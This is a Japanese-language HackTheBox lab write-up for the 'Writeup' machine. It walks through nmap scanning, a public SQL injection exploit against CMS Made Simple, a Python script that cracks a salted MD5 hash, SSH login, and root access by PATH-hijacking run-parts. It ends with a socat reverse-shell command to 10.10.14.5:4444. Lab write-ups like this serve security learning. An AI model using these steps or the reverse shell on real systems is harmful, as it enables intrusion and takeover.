【HackTheBox】Writeup Writeup
Enumeration
nmap
┌──(kali㉿kali)-[~]
└─$ nmap -sVC -T4 -p- -Pn -open 10.10.10.138
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 00:33 EDT
Nmap scan report for 10.10.10.138
Host is up (0.17s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
sshとhttpが開いています。websiteには/writeup/
というディレクトリがあります。
website enumeration
/
に40xエラーを出すとbanされると書いてましたので、fuzzingのツールは使えないです。では手動で探索してみます。/writeup/
を見てみます。
urlの構造はhttp://10.10.10.138/writeup/index.php?page=ページ名
なっていることがわかりました。
pageパラメーターによるLFIの可能性があるので、試してみます。phpが古い場合はnull byte injectionでファイル読めたりするのでhttp://10.10.10.138/writeup/index.php?page=blue.php%00
でやってみしたが、ダメでした。
ソースコードを見てみます。
<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />
サイトはCMS Made Simpleで作られていることがわかりました。searchsploit
で検索してみたら攻撃できる脆弱性がかなりありましたが、バージョンを調べる必要があります。
┌──(kali㉿kali)-[~]
└─$ searchsploit cms made simple
----------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------- ---------------------------------
CMS Made Simple (CMSMS) Showtime2 - File Upload Remote Code Exec | php/remote/46627.rb
CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting | php/webapps/26298.txt
.......(省略).......
CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache Poisoning | php/webapps/39760.txt
CMS Made Simple < 2.2.10 - SQL Injection | php/webapps/46635.py
CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File Upload | php/webapps/34300.py
CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File U | php/webapps/34298.py
CMS Made Simple Showtime2 Module 3.6.2 - (Authenticated) Arbitra | php/webapps/46546.py
----------------------------------------------------------------- ---------------------------------
CMS Made Simple Version Identification
htmlに2004-2019が書いてあったので、2019のリリースを調べてみました。コアリリースが複数回ありました。(https://docs.cmsmadesimple.org/general-information/core-releases)
version | version name | release date |
---|---|---|
2.2.9 | Blow Me Down | 19-01-2019 |
2.2.10 | Spuzzum | 06-03-2019 |
2.2.11 | Vulcan | 02-09-2019 |
2.2.12 | Osoyoos | 24-09-2019 |
2.2.13 | Moosomin | 04-12-2019 |
2.2.9
-2.2.13
ならsearchsploitで出てきたものはCMS Made Simple < 2.2.10 - SQL Injection
しかなさそうなので、SQLiを試します。
Foothold
CMS Made Simple SQLi
https://www.exploit-db.com/exploits/46635 のスクリプトを使います。python2のスクリプトになっているので、とりあえずprint
を全部直して実行します。
┌──(kali㉿kali)-[~]
└─$ python writeupsqli.py -u http://10.10.10.138/writeup -w /usr/share/wordlists/rockyou.txt -c
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[*] Try: 62def4866937f08cc13bab43bb14e6f7$
[*] Now try to crack password
Traceback (most recent call last):
File "/home/kali/writeupsqli.py", line 191, in <module>
crack_password()
File "/home/kali/writeupsqli.py", line 54, in crack_password
for line in dict.readlines():
^^^^^^^^^^^^^^^^
File "<frozen codecs>", line 322, in decode
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf1 in position 933: invalid continuation byte
実行するとusernameとsaltはわかりましたが、crack passwordのところでencodingのエラーが出ました。指定したwordlistをデコードできなかったみたいなので、utf-8のrockyou.txt
を作って、こっちでもう一回実行します。
iconv -f ISO-8859-1 -t UTF-8 /usr/share/wordlists/rockyou.txt > rockyou_utf8.txt
┌──(kali㉿kali)-[~]
└─$ python writeupsqli.py -u http://10.10.10.138/writeup -w ./rockyou_utf8.txt -c
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[*] Try: 123456
Traceback (most recent call last):
File "/home/kali/writeupsqli.py", line 191, in <module>
crack_password()
File "/home/kali/writeupsqli.py", line 57, in crack_password
if hashlib.md5(str(salt) + line).hexdigest() == password:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: Strings must be encoded before hashing
違うエラーが出てきました。今回はhashlibに渡す文字列の問題みたいです。
このスクリプトを最初から実行すると時間がかかるので、スクリプトの中のcrack_password
関数を修正してそこだけ実行することにしました。
Password Cracking
修正したスクリプトでパスワードをクラックします。
import hashlib
from tqdm import tqdm
salt = "5a599ef579066807"
password = "62def4866937f08cc13bab43bb14e6f7"
def crack():
words = open("./rockyou_utf8.txt")
for word in tqdm(words):
word = word.replace("\n", "")
salt_word = salt + word
if hashlib.md5(salt_word.encode("utf-8")).hexdigest() == password:
print("the password is: ", word)
break
crack()
パスワードはraykayjay9でした。
jkr, raykayjay9でsshログインして、user flagゲットできました。
Privilege Escalation
Enumeration
jkrユーザーの権限を確認したら、staff groupに入っていることがわかりました。
jkr@writeup:~$ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)
staff groupについて調べてみたところ、「Allows users to add local modifications to the system (/usr/local) without needing root privileges (note that executables in /usr/local/bin are in the PATH variable of any user, and they may "override" the executables in /bin and /usr/bin with the same name). Compare with group "adm", which is more related to monitoring/security.」という情報が出てきました(https://wiki.debian.org/SystemGroups)。/usr/local
のwrite権限があるみたいで、PATH hijackingの可能性にも言及したので、試したいと思います。
hijack可能なコマンドを特定するために、pspy
で実行されているプロセスを調査します。
pspy Process Snooping
pspyログの一部はこんな感じです。
2023/05/06 07:55:21 CMD: UID=0 PID=1 | init [2]
2023/05/06 07:55:50 CMD: UID=0 PID=3790 | sshd: [accepted]
2023/05/06 07:55:50 CMD: UID=102 PID=3791 | sshd: [net]
2023/05/06 07:56:00 CMD: UID=0 PID=3792 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2023/05/06 07:56:00 CMD: UID=0 PID=3793 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2023/05/06 07:56:00 CMD: UID=0 PID=3794 | run-parts --lsbsysinit /etc/update-motd.d
2023/05/06 07:56:00 CMD: UID=0 PID=3795 | uname -rnsom
2023/05/06 07:56:00 CMD: UID=0 PID=3796 | sshd: jkr [priv]
2023/05/06 07:56:01 CMD: UID=0 PID=3802 | /usr/sbin/CRON
2023/05/06 07:56:01 CMD: UID=0 PID=3803 | /usr/sbin/CRON
2023/05/06 07:56:01 CMD: UID=0 PID=3804 | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1
cleanup.pl
を実行する時は絶対パスが指定されていたのでhijackできなさそうです。
run-parts
とuname
ならパス指定されてないので、/usr/local/sbin
に同じ名前のプログラムを入れたら自作の方が実行されるはずです。
ではrun-parts
で試します。
PATH Hijacking
/usr/local/sbin
にrun-parts
を作ります。まずはwhoami
を実行させてみたいと思います。ファイルの権限も設定しますchmod 777 /usr/local/sbin/run-parts
。
#!/bin/sh
whoami
pspyのログから、ssh loginの時にrun-parts
が実行されることがわかりました。なので、terminalもう一つ開いてsshします。
┌──(kali㉿kali)-[~]
└─$ ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
root
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat May 6 09:12:20 2023 from 10.10.14.5
jkr@writeup:~$
rootがrun-parts
実行したことを確認できました。ではwhoami
を書き換えてroot flagをcat
させます。
#!/bin/sh
cat /root/root.txt
Root Flag
もう一回ログインするとroot flagが出力されました。
┌──(kali㉿kali)-[~]
└─$ ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
a4xxxxxxxxxxxxxxxxxxxxxxxxx9
Root Reverse Shell
root reverse shellも取るならスクリプトの中身をこれに書き換えます。
#!/bin/sh
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:4444
memo
- CMS made simpleのバージョンはsvnからデフォルトのconfig filesやREADMEから確認できます。
http://10.10.10.138/writeup/doc/CHANGELOG.txt
にありました。http://svn.cmsmadesimple.org/svn/cmsmadesimple/
Discussion